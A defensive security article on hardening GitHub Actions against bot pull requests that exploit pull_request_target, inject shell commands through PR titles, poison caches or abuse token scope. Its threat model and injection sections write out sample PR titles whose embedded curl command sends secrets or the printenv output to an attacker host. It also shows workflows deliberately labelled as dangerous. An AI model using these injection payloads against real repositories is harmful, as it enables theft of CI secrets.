Bot PRs Against Public Repos: pull_request_target Exploitation and Forked-PR Secret Exfiltration

Bot PRs Against Public Repos: pull_request_target Exploitation and Forked-PR Secret Exfiltration

The Problem

In March 2025, the tj-actions/changed-files GitHub Action was compromised via a stolen personal access token belonging to a maintainer. The attacker modified the action’s dist/ output to include a credential-harvesting script and updated dozens of release tags to point to the malicious commit. The script printed all environment variables — GITHUB_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, DOCKER_HUB_TOKEN, and any other secrets mapped into the job — directly to the workflow log. changed-files was used by more than 23,000 repositories. Every one of those repositories that ran a workflow during the compromise window had its secrets written to publicly visible or organisation-accessible logs.

A related compromise hit reviewdog/action-setup the same month. The attacker used the same technique: steal a maintainer token, force-push malicious code to existing tags, exfiltrate credentials from every pipeline that ran. Both incidents were identified through user reports of unexpected log output, not by any automated detection.

The tj-actions incident is important not because it introduced a new class of attack but because it industrialised an existing one. The exfiltration mechanism relied on a property that has been documented since GitHub Actions launched: pull_request_target runs workflow code from the base repository with full access to the base repository’s secrets, even when triggered by a pull request from a fork. Maintainers who used changed-files to list which files changed in a forked PR — a completely normal use case — were running it under pull_request_target. The compromised action ran with full secret access. The secrets were printed to logs. Logs are accessible to anyone with read access to the repository, and for public repositories that means everyone.

The pull_request_target trust boundary:

GitHub offers two pull request triggers with fundamentally different security properties:

pull_request — the safer trigger — runs workflow code from the head commit of the pull request. For forked PRs, this means the fork’s workflow file, not the base repository’s. It has read-only access to the base repository. It has no access to repository secrets. GitHub designed this deliberately: untrusted code from a fork cannot steal secrets because it runs in an isolated context with no secret access.

pull_request_target — the privileged trigger — always runs workflow code from the base repository, regardless of where the PR originates. It has write access to the base repository. It has access to all repository secrets. GitHub created it to solve a legitimate problem: maintainers who want to automatically label incoming PRs, post welcome messages to first-time contributors, or trigger issue creation cannot do these things with pull_request because those operations require write permissions that the isolated fork context does not have.

The danger emerges when the two properties are combined: a pull_request_target workflow that also checks out and executes code from the PR’s head commit. The workflow runs with base-repository secrets, but the code being executed came from an untrusted fork. This is the pattern that automated bot attacks target in 2025-2026.

Automated attacks against public repositories exploit four related vectors:

Forked PR secret exfiltration. A bot creates a GitHub account, forks the target repository, modifies the CI workflow in the fork to exfiltrate secrets, and submits a PR. If the base repository’s pull_request_target workflow checks out and runs code from the PR head, the bot’s modified workflow runs with full base-repository secret access. The bot receives the secrets over HTTPS — no network anomaly to detect.

Context variable injection via PR metadata. Workflows that use ${{ github.event.pull_request.title }} or ${{ github.event.pull_request.body }} in run: steps are vulnerable to shell injection. A bot submits a PR with a title containing "; curl https://attacker.example/$(cat $AWS_SECRET_ACCESS_KEY | base64 -w0); #. When the workflow interpolates the title directly into a shell command, the injected command executes in the job’s environment. This does not require pull_request_target — it works with pull_request if the workflow interpolates metadata into shell without sanitisation.

GitHub Actions cache poisoning. GitHub Actions cache entries are keyed by branch and cache key expression. A forked PR can write to cache keys that the base repository’s privileged push or schedule workflows subsequently read. If the privileged workflow unconditionally restores and executes content from a cache entry that a forked PR wrote, the bot can stage a malicious payload via the cache that executes when the privileged workflow runs.

GITHUB_TOKEN scope abuse. In pull_request_target context, GITHUB_TOKEN has write access to the base repository by default. Even without any secrets, a bot that gets code execution in this context can push commits to branches, create or modify releases, alter workflow files to establish persistence, or invoke the GitHub API to add collaborators.

Threat Model

  • Bot forks target repository → submits PR with modified workflow → base repository’s pull_request_target workflow runs with ref: ${{ github.event.pull_request.head.sha }} → bot’s workflow code runs with base-repo secrets → AWS_SECRET_ACCESS_KEY exfiltrated to attacker infrastructure over HTTPS.

  • Bot crafts PR title "; curl https://c2.attacker.example/$(printenv | base64 -w0 | tr -d '\n'); #" → base repo workflow contains run: echo "Testing PR: ${{ github.event.pull_request.title }}" → GitHub Actions expression is interpolated before shell parsing → injected curl executes with full job environment, secrets included.

  • Bot submits PR that saves poisoned artifact to Actions cache under key matching a pattern read by the base repository’s nightly schedule workflow → nightly workflow restores cache and sources or executes cached content → bot payload runs in privileged context.

  • Compromised changed-files action (tj-actions, March 2025) prints all environment variables to logs → public repository logs are readable by anyone → bots aggregate credential leaks at scale by scanning public repository log output via GitHub API.

  • pull_request_target workflow grants default GITHUB_TOKEN write scope → bot gets code execution → pushes modified workflow file to feature branch → gains persistent code execution path for subsequent runs.

Hardening Configuration

1. Never Check Out or Execute PR Code Under pull_request_target

The core rule: if you use pull_request_target, never check out the pull request’s head commit in the same job. The two operations belong in separate, isolated jobs with no shared filesystem.

# DANGEROUS — pull_request_target + PR head checkout = secret exfiltration vector
on:
  pull_request_target:

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # PR code
      - run: npm ci && npm test  # Runs untrusted fork code with repo secrets
# SAFE — pull_request_target used only for labelling, never touches PR code
on:
  pull_request_target:
    types: [opened, labeled, unlabeled, synchronize]

permissions:
  pull-requests: write
  contents: read

jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/labeler@v5
        # labeler reads only PR metadata via the GitHub API — no checkout, no PR code
        with:
          repo-token: ${{ secrets.GITHUB_TOKEN }}

If you genuinely need to run tests on forked PR code with secrets (e.g., integration tests that require cloud credentials), the correct pattern is a two-workflow split: pull_request runs the untrusted code without secrets and produces an artifact; a separate workflow_run workflow — triggered only after the pull_request workflow completes — runs in the base-repository context, downloads the artifact, and performs the privileged operations. The untrusted code never executes in a context where secrets are accessible.

# Workflow 1: runs in fork context, no secrets
name: PR Tests (No Secrets)
on:
  pull_request:

jobs:
  build-and-test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
      - run: npm ci && npm run build
      - uses: actions/upload-artifact@v4
        with:
          name: pr-build-${{ github.event.number }}
          path: dist/
# Workflow 2: runs in base repo context, downloads artifact, uses secrets
name: Integration Tests (Privileged)
on:
  workflow_run:
    workflows: ["PR Tests (No Secrets)"]
    types: [completed]

permissions:
  contents: read
  id-token: write  # For OIDC, if needed

jobs:
  integration:
    runs-on: ubuntu-latest
    if: ${{ github.event.workflow_run.conclusion == 'success' }}
    steps:
      - name: Download PR artifact
        uses: actions/download-artifact@v4
        with:
          name: pr-build-${{ github.event.workflow_run.id }}
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ secrets.GITHUB_TOKEN }}
      # Untrusted code is now a compiled artifact — not executed directly
      # Secrets are accessible but no attacker-controlled code runs
      - run: aws s3 cp dist/ s3://staging-bucket/ --recursive
        env:
          AWS_ROLE_ARN: ${{ secrets.STAGING_DEPLOY_ROLE }}

2. Neutralise Context Variable Injection

GitHub Actions expressions (${{ }}) are evaluated before the shell parses the run: script. Any expression that includes untrusted string data — PR title, PR body, branch name from a fork, commit message — becomes a shell injection vector. The fix is to pass untrusted data through environment variables, which the shell receives as already-parsed values rather than as code.

# DANGEROUS — expression evaluated before shell sees the string
- name: Report PR status
  run: |
    echo "Processing: ${{ github.event.pull_request.title }}"
    python3 scripts/notify.py "${{ github.event.pull_request.body }}"

A PR with title $(curl https://attacker.example/$(AWS_SECRET_ACCESS_KEY)) causes the shell to execute the curl before echo runs. The expression is already substituted into the shell script text by the time the runner processes it.

# SAFE — untrusted data travels through environment variables
- name: Report PR status
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
    PR_BODY: ${{ github.event.pull_request.body }}
    PR_AUTHOR: ${{ github.event.pull_request.user.login }}
  run: |
    echo "Processing: $PR_TITLE"          # Shell sees $PR_TITLE as a variable
    python3 scripts/notify.py             # Script reads PR_TITLE from os.environ

The injected curl is now a string value in $PR_TITLE, not shell code. echo "$PR_TITLE" prints it literally.

Catch existing injection patterns with actionlint — the static analyser that understands GitHub Actions expression semantics and specifically flags context values being interpolated into run: steps:

# Install actionlint
brew install actionlint  # macOS
# or
curl -sL https://raw.githubusercontent.com/rhysd/actionlint/main/scripts/download-actionlint.bash | bash

# Scan all workflows
actionlint .github/workflows/*.yml

Actionlint output for the dangerous pattern above:

.github/workflows/pr-handler.yml:12:12: "github.event.pull_request.title" is potentially
untrusted. Use an environment variable instead of directly using the value in "run:" [expression]

Add actionlint to CI so injection patterns fail fast on any workflow change:

name: Workflow Lint
on:
  push:
    paths:
      - '.github/workflows/**'
  pull_request:
    paths:
      - '.github/workflows/**'

permissions:
  contents: read

jobs:
  actionlint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
      - name: Run actionlint
        uses: rhysd/actionlint@v1
        # Pin to SHA before deploying; v1 is shown for readability

The zizmor tool provides complementary analysis with a specific focus on pull_request_target misuse patterns, unpinned actions, and excessive permissions:

pip install zizmor
zizmor .github/workflows/
# Reports: dangerous-triggers, unpinned-uses, excessive-permissions,
#          template-injection, artipacked, and more

Run both tools. They have overlapping but non-identical coverage: actionlint catches more shell and expression syntax issues; zizmor is more thorough on security-specific patterns around trigger and permission configuration.

3. SHA-Pin All Third-Party Actions

The tj-actions compromise worked because repositories used uses: tj-actions/changed-files@v40 — a mutable tag reference. When the attacker force-pushed the malicious payload to that tag, every repository using it immediately executed the compromised version. Repositories pinned to a commit SHA were completely unaffected; the force-push updated the tag pointer, not the commit object the SHA identified.

# DANGEROUS — tag reference, mutable
- uses: tj-actions/changed-files@v40

# SAFE — SHA pin, immutable
- uses: tj-actions/changed-files@d6e91a4a73fb14dc076f5618e68dc65cfd33b7b8
  # v40 at time of pinning — update via Dependabot

Find all non-SHA action references across your workflows:

grep -rn 'uses:' .github/workflows/ | grep -v '@[0-9a-f]\{40\}'

A hardened repository produces no output. To resolve the commit SHA for a tag before pinning:

gh api repos/tj-actions/changed-files/git/refs/tags/v40 \
  --jq '.object.url' \
  | xargs gh api --jq '.object.sha // .sha'

Automate SHA updates with Dependabot to prevent pinned SHAs from drifting out of date and creating an incentive to bypass pinning:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: weekly
    commit-message:
      prefix: "chore(actions)"
    groups:
      github-actions:
        patterns:
          - "*"

Dependabot opens weekly PRs that update pinned SHAs to new releases. Each PR shows only the SHA and version comment changing — a reviewable, auditable diff. Review the new SHA against the action’s release page before merging. Without this automation, teams skip SHA updates and the pinning discipline degrades within months.

4. Scope Cache Keys to Prevent Cross-PR Poisoning

GitHub Actions cache entries are associated with a branch. A workflow run on a fork’s PR branch can write a cache entry that persists after the PR is closed. A subsequent privileged workflow that uses a matching restore-keys pattern may restore that cache entry and operate on poisoned content.

The defensive principle: do not restore caches written by untrusted sources in privileged workflows. Scope cache keys to include the exact branch ref and limit restore-keys patterns in privileged workflows to match only base-branch caches.

# RISKY in a pull_request_target workflow — restore-keys could match a fork branch cache
- uses: actions/cache@v4
  with:
    path: ~/.npm
    key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
    restore-keys: |
      ${{ runner.os }}-node-

# SAFER — key includes exact ref; restore only from main-branch caches in privileged context
- uses: actions/cache@v4
  with:
    path: ~/.npm
    key: ${{ runner.os }}-node-${{ github.ref }}-${{ hashFiles('**/package-lock.json') }}
    restore-keys: |
      ${{ runner.os }}-node-refs/heads/main-

For push and schedule workflows that use secrets, set restore-keys to only match caches written by the base branch. Never include a restore key pattern that matches fork PR branches (refs/pull/*/head) in a privileged workflow. The GitHub cache scoping rules mean PR workflows can only read caches from their own branch and the base branch — but write scope is broader, and the restore-keys fallback mechanism is what creates the poisoning path.

5. Enforce Minimum GITHUB_TOKEN Permissions

Default GitHub Actions token permissions are read-write for all repository resources in many repositories. A bot that achieves code execution in a pull_request_target context with the default token can push commits to branches, modify workflow files to establish persistence, create releases, and invite collaborators. Restricting the token scope limits the blast radius of any compromise.

Set the repository default to read-only in Settings > Actions > General > Workflow permissions > Read repository contents and packages permissions. This makes the restrictive configuration the default; any workflow that needs write access must explicitly request it.

Declare explicit minimum permissions in every workflow:

name: PR Labeller
on:
  pull_request_target:
    types: [opened, synchronize, reopened]

# Workflow-level: deny everything by default
permissions: {}

jobs:
  label:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write   # Required to add labels
      issues: write          # Required for issue cross-linking
      contents: read         # Required for checkout if any
    steps:
      - uses: actions/labeler@v5
        with:
          repo-token: ${{ secrets.GITHUB_TOKEN }}

For workflows that legitimately need write access, restrict the scope to the specific permission rather than granting broad write:

permissions:
  contents: write        # Required for release creation
  pull-requests: read    # NOT write — this job does not label PRs
  packages: write        # Required for container push
  id-token: write        # Required for OIDC
  # All other permissions: none

A bot that gets code execution with a token scoped only to pull-requests: write cannot push commits, modify workflow files, create releases, or add collaborators. The write surface is bounded to PR labels and comments.

6. Automated Bot PR Detection and Mandatory Review

Organisations can implement lightweight bot PR detection as a pull_request_target workflow that checks metadata signals and flags suspicious submissions for mandatory maintainer review before any CI runs. This does not replace the technical controls above but provides an early-warning layer for coordinated bot campaigns.

name: Bot PR Detection
on:
  pull_request_target:
    types: [opened]

permissions:
  pull-requests: write
  issues: write

jobs:
  bot-check:
    runs-on: ubuntu-latest
    steps:
      - name: Evaluate PR author account signals
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          PR_AUTHOR: ${{ github.event.pull_request.user.login }}
          PR_NUMBER: ${{ github.event.pull_request.number }}
        run: |
          set -euo pipefail

          # Account age — bot campaigns use fresh accounts
          CREATED=$(gh api users/"$PR_AUTHOR" --jq '.created_at')
          AGE_DAYS=$(( ( $(date +%s) - $(date -d "$CREATED" +%s) ) / 86400 ))

          # Social graph signal — bots typically have zero followers
          FOLLOWERS=$(gh api users/"$PR_AUTHOR" --jq '.followers')
          PUBLIC_REPOS=$(gh api users/"$PR_AUTHOR" --jq '.public_repos')

          FLAG=false
          REASONS=""

          if [ "$AGE_DAYS" -lt 30 ]; then
            FLAG=true
            REASONS="$REASONS account age ${AGE_DAYS}d (<30d threshold);"
          fi

          if [ "$FOLLOWERS" -eq 0 ] && [ "$PUBLIC_REPOS" -lt 2 ]; then
            FLAG=true
            REASONS="$REASONS no followers and <2 public repos;"
          fi

          if [ "$FLAG" = "true" ]; then
            gh pr comment "$PR_NUMBER" \
              --body "**Automated review required.** This PR was submitted by an account with signals consistent with automated tooling: ${REASONS} A maintainer must approve before CI runs."
            gh pr edit "$PR_NUMBER" --add-label "awaiting-maintainer-review"
          fi

Combine this with the repository setting that prevents CI from running on forked PRs without maintainer approval. In repository settings: Settings > Actions > General > Fork pull request workflows — set to Require approval for all outside collaborators. This prevents any CI workflow from executing on a forked PR until a maintainer explicitly approves, which is the most robust defence against forked PR exploitation regardless of specific workflow configuration. It is also the only control that fully addresses novel exploit techniques that have not yet been enumerated.

Expected Behaviour After Hardening

After separating pull_request_target labelling from CI: a bot submits a forked PR containing a modified workflow. The pull_request_target labeller runs — it reads only PR metadata through the GitHub API, never checking out the PR’s code. The bot’s modified workflow file has no effect. The base repository’s CI runs under pull_request, which cannot access secrets. The bot receives nothing.

After environment variable sanitisation: a bot submits a PR with title ${{ secrets.AWS_SECRET_ACCESS_KEY }} or shell injection in the title. The notification workflow reads the title through $PR_TITLE environment variable. The shell receives it as a string value. echo "$PR_TITLE" prints the literal text. The actionlint check in the workflow lint CI would have caught any direct interpolation at the time the workflow was authored.

After SHA pinning: another tj-actions/changed-files-style compromise occurs. The attacker force-pushes a malicious payload to @v45. Your workflow references d6e91a4a73fb14dc076f5618e68dc65cfd33b7b8. GitHub resolves the SHA to the same commit it always has. The force-push is invisible. Dependabot has already opened a PR to update to the new release SHA — that update goes through code review before merging.

After minimum GITHUB_TOKEN permissions: a bot achieves code execution through an undetected vector in a pull_request_target workflow. The token is scoped to pull-requests: write and contents: read. The bot cannot push commits, modify workflow files to persist access, or create releases. The write surface is bounded.

After requiring maintainer approval for fork PRs: a bot submits a PR. No CI runs. The PR sits in the queue until a maintainer reviews the account signals, concludes it is a bot campaign, and closes without merging.

Trade-offs and Operational Considerations

Requiring maintainer approval for all fork PRs before CI runs is the most robust control, but it introduces friction for legitimate contributors. A popular open source project receiving dozens of PRs per day cannot require manual approval for each one without creating a bottleneck. The practical compromise: require approval only for first-time contributors (GitHub’s built-in option), combine with the account-age signal workflow to flag high-risk accounts, and grant trusted-contributor exemptions for known contributors. GitHub’s built-in Require approval for first-time contributors setting covers the majority of bot accounts, which are always first-time contributors to any given repository.

The workflow_run pattern for running secrets in a separate job from untrusted code is architecturally correct but operationally complex. Artifact download in the privileged workflow requires careful path handling — a bot that can influence artifact content (not just the build process) can still stage malicious content in the artifact. Treat the downloaded artifact as data, not executable code. Validate its structure before using it. Do not source shell scripts from downloaded artifacts in privileged contexts.

Actionlint catches many injection patterns but is not exhaustive. It does not analyse the logic of Python or shell scripts that receive PR metadata via environment variables — only the workflow YAML. If scripts/notify.py constructs shell commands using os.environ["PR_TITLE"] without sanitisation, actionlint will not flag it. Environment variable isolation in the workflow is necessary but not sufficient; scripts that process PR metadata must also avoid constructing shell commands from that data.

Bot accounts that have aged historical activity defeat simple account-age checks. More sophisticated campaigns build up GitHub accounts over weeks before deploying them for PR attacks. Combine account-age checking with behavioural signals: spike in PR submissions from accounts created within a narrow time window, PRs submitted at regular intervals suggesting automation, structurally identical PR descriptions across multiple repositories. None of these signals are individually conclusive, but the combination raises the cost of undetected campaigns.

Failure Modes

The pull_request_target and checkout combination is frequently introduced accidentally. Maintainers copy CI workflow examples from documentation or Stack Overflow and do not recognise the distinction between pull_request and pull_request_target. A workflow that ran safely under pull_request becomes exploitable when a maintainer changes the trigger to pull_request_target to gain write access for a labelling step without removing the checkout. Audit pull_request_target triggers separately from all other triggers — every pull_request_target workflow should be reviewed for checkout steps and subject to the rule that PR head code is never checked out in the same job.

Dependabot SHA update PRs create a maintenance overhead that teams often deprioritise. After six months of low-severity SHA updates accumulating unreviewed, teams begin bypassing pinning to avoid the noise. This is the failure mode SHA pinning is most vulnerable to. The technical control is sustainable only with a defined review process: a recurring calendar task, a policy of auto-merging Dependabot action update PRs after CI passes with no objection within 72 hours, or a designated team member responsible for Dependabot action updates. Without defined process, the discipline degrades.

The bot-detection workflow itself runs under pull_request_target. If a maintainer later adds a step to run a linter or any other check on PR code, the detection workflow becomes the vulnerability it is meant to detect. The bot-detection job must contain only GitHub API operations using metadata from github.event.pull_request via environment variables. Never add a checkout step to a bot-detection workflow.

Fork PR cache entries persist after PRs are closed. GitHub evicts caches not accessed within seven days, but a cache poisoning attempt that does not succeed immediately may still poison entries that a future privileged workflow restores within that window. Audit restore-keys patterns in all workflows that run with elevated permissions: every restore key pattern that could match a fork PR branch in a privileged workflow is a potential poisoning surface.